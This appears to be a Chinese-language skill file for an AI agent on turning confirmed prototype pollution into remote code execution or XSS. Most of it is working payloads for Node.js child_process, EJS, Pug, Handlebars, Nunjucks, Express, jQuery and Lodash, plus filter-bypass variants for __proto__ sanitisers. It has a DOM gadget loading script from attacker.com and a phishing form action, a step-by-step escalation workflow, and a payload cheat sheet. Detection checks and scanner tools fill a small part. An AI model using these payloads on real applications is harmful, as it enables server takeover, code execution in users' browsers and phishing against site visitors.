已确认原型污染后如何升级为 RCE 或…

在已确认存在原型污染（prototype pollution）后，利用服务端模板引擎、Node.js child_process 及客户端框架 gadget 将其升级为远程代码执行或 XSS。

适用场景

解决思路

1. 先加载 ../prototype-pollution/SKILL.md 掌握基础（merge sink、__proto__ 与 constructor.prototype 区别、基础探测），再加载 KNOWN_GADGETS.md 获取按框架/库分类的完整 gadget 表（含被污染属性、触发条件、影响与受影响版本）。
2. 服务端 child_process 利用：当 child_process.spawn/fork 未显式传入 env/shell 时会继承 Object.prototype，可污染 Object.prototype.shell='/proc/self/exe'、Object.prototype.argv0='console.log(require("child_process").execSync("id").toString())//'、Object.prototype.NODE_OPTIONS='--require /proc/self/cmdline'，下一次 child_process 调用即执行攻击者代码；也可用 {"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}。
3. EJS 利用：污染 outputFunctionName 将代码注入编译后的模板函数，payload 为 {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}，污染后任意 res.render() 触发 RCE。
4. Pug 利用：污染 block 属性，payload 为 {"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}；或通过 self 选项 {"__proto__":{"self":true,"line":"x]});process.mainModule.require('child_process').execSync('id');//"}}。
5. Handlebars 利用：污染模板 AST 节点的 type 与 program，payload 为 {"__proto__":{"type":"Program","body":[{"type":"MustacheStatement","path":{"type":"PathExpression","original":"constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts":["constructor","constructor"]},"params":[],"hash":null}]}}；更简单的方式是污染 {"__proto__":{"allowProtoMethodsByDefault":true,"allowProtoPropertiesByDefault":true}}，再用 {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}。
6. Nunjucks 利用：payload 为 {"__proto__":{"type":"Code","value":"global.process.mainModule.require('child_process').execSync('id')"}}。
7. Express res.render 通用利用：res.render() 会将 options 与 app.locals、res.locals 合并，被污染的属性会作为模板变量出现，payload 为 {"__proto__":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}。
8. 客户端 jQuery 利用：$.extend(true, {}, userInput) 是经典深合并 sink；污染 Object.prototype.innerHTML='<img src=x onerror=alert(1)>' 后，任意读取原型 innerHTML 的 jQuery DOM 操作（如 $('<div>').appendTo('body')）可触发 XSS。
9. 客户端 Lodash 利用：_.merge、_.defaultsDeep、_.set（path 可控时）为深合并 sink；template() gadget 可污染 Object.prototype.sourceURL='\u000ajavascript:alert(1)//'，再调用 _.template('hello')() 将 sourceURL 注入 Function 构造函数。
10. 利用框架 script gadget：jQuery 的 $.html()/元素创建（污染 innerHTML、src）、Angular.js 的 $interpolate（污染 __defineGetter__）、Vue.js 模板编译（污染 template、render）、Ember.js 组件渲染（污染各类 view 属性）、Backbone.js 的 _.template（污染 sourceURL），最终均导致 XSS。
11. DOM 属性污染：污染 Object.prototype.src='https://attacker.com/evil.js'、Object.prototype.href='javascript:alert(1)'、Object.prototype.action='https://attacker.com/phish'，任何动态创建的元素都可能继承这些属性。
12. 黑盒服务端检测：注入 {"__proto__":{"polluted":"yes"}} 后请求任意接口检查响应是否含 polluted 或行为变化；用 {"__proto__":{"toString":1}} 或 {"__proto__":{"valueOf":1}} 观察是否崩溃/500；用 {"__proto__":{"status":555}} 检查 HTTP 状态码是否变为 555；用 {"__proto__":{"content-type":"text/plain"}} 检查 Content-Type 是否变化。
13. 黑盒客户端检测：在浏览器控制台交互后输入 Object.prototype.testPollution，若有返回值说明原型被污染；也可用 Object.defineProperty(Object.prototype, '__proto__', { set: function(v) { console.trace('PP detected!', v); } }) 覆盖 setter 检测写入。
14. 使用自动化工具：PPScan（Burp 扩展，扫描服务端 PP）、server-side-prototype-pollution（Gareth Heyes 的 Burp 扩展，多种高级服务端 PP 检测技术）、ppfuzz（CLI，通过 URL fragment/query 模糊测试客户端 PP）、ppmap（CLI，将客户端 PP 映射到已知 gadget）。
15. 绕过 __proto__ 过滤：改用 {"constructor":{"prototype":{"polluted":"yes"}}}；使用括号记法 ?constructor[prototype][polluted]=yes、?__proto__[polluted]=yes、?__pro__proto__to__[polluted]=yes（过滤器只剥离一次 __proto__ 时）；尝试 JSON key 变体 {"__proto__":{"a":1}}、{"constructor":{"prototype":{"a":1}}}、{"__proto__\u0000":{"a":1}}。
16. 注意区分浅拷贝与深拷贝：Object.assign 不污染原型（浅拷贝，安全），只有递归/深合并函数才存在漏洞，务必验证合并深度。
17. 按利用流程推进：找到 merge sink → 用 {"__proto__":{"testxyz":"1"}} 确认污染 → 识别技术栈（Express+EJS/Pug/Handlebars、Node.js child_process、客户端 jQuery/Lodash、未知则查 KNOWN_GADGETS.md）→ 构造匹配 gadget 的 RCE/XSS payload → 先用安全 payload（sleep / DNS 回调）验证 → 升级为完整 RCE。
18. 按决策树选择路径：服务端有模板引擎则按 EJS/Pug/Handlebars/Nunjucks 对应 gadget，有 child_process 则用 shell+NODE_OPTIONS，无已知 gadget 则试 status=555、content-type 污染或查 KNOWN_GADGETS.md；客户端按 jQuery/Lodash/Angular/Vue/Ember 查 script gadget；__proto__ 被过滤则用 constructor.prototype、括号记法或 JSON key 变体。
19. 常用 payload 速查：EJS RCE {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}；Pug RCE {"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}；child_process RCE {"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}；Lodash template XSS {"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}；过滤绕过 {"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}；安全探测 {"__proto__":{"pptest123":"polluted"}}。

适用边界 · 注意事项

• 尚未确认存在原型污染时——应先回到 ../prototype-pollution/SKILL.md 完成基础检测与 merge sink 定位。
• 目标使用 Object.assign 等浅拷贝合并、不存在递归/深合并 sink 时，原型污染不成立，本技能不适用。
• 缺乏对应技术栈（如无模板引擎、无 child_process、无已知客户端框架 gadget）且 KNOWN_GADGETS.md 中也无匹配项时，无法直接升级为 RCE/XSS。